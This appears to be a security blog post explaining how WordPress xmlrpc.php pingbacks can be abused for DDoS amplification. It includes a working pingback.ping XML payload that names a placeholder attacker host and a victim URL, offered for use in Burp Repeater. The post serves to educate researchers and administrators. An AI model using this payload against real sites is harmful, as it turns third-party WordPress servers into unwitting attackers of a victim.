💥Abusing WordPress XML-RPC Pingbacks for DDoS Amplification

As an ethical hacker, my job isn’t just to break things — it’s to understand how they break, why they break, and how to help fix them before someone malicious takes advantage.

Today, let’s dissect an often-overlooked WordPress feature — xmlrpc.php — and how it can be abused through pingbacks to launch large-scale DDoS attacks. This post is for security researchers, blue teams, and WordPress admins looking to secure their environments.

What Is a Pingback?

Pingbacks are part of WordPress’s communication system. When you link to another WordPress blog in your post, your site can notify that other blog with a “pingback” — essentially saying, “Hey! I linked to you!” This notification is processed via a special file: **/xmlrpc.php**.

It was designed for blog interconnectivity. But as it turns out, it can also be abused.

The Vulnerability: XML-RPC Pingback Abuse

The endpoint /xmlrpc.php exposes several remote procedures, including one called pingback.ping. This method can be misused to make the WordPress site send HTTP requests to any server, turning it into a proxy for malicious traffic.

The Vulnerability: XML-RPC Pingback Abuse

The xmlrpc.php endpoint allows methods like pingback.ping, which can be exploited to make the WordPress site act as a proxy. This method accepts two URLs:

• sourceURL → the page that (allegedly) links to another page
• targetURL → the destination that received the link (victim)

Here’s the twist: WordPress checks the source URL to see if it links to the target, and if it thinks it does, it sends a pingback request to the target.

How the Exploit Works

1. The attacker scans for WordPress sites with xmlrpc.php enabled and pingbacks allowed.
2. They craft an HTTP POST request to one of these sites’ /xmlrpc.php endpoints using the pingback.ping method.
3. Payload includes:

• Source URL → https://attacker.oastify.com (controlled by attacker)
• Target URL → http://victim.com (actual target)

Exploit Sample (for Responsible Testing Only)

Here’s a sample XML payload you can use in BurpSuite’s Repeater tab:

<?xml version="1.0"?>
<methodCall>
   <methodName>pingback.ping</methodName>
   <params>
      <param><value><string>https://attacker.oastify.com</string></value></param>
      <param><value><string>http://victim.com</string></value></param>
   </params>
</methodCall>

4. The attacker’s server responds with a fake page containing a forged link to the victim.

5. WordPress thinks it’s legit and sends an HTTP pingback request to the victim.

6. This is scaled across hundreds of WordPress sites — all sending requests to the same target. Result? Amplified DDoS.

Ethical Hacking Takeaways

• This is a classic example of an unintended side-effect of legacy features.
• Just because something’s “default” doesn’t mean it’s safe.
• As security researchers, our responsibility is to test — but also to report, disclose, and help secure the ecosystem.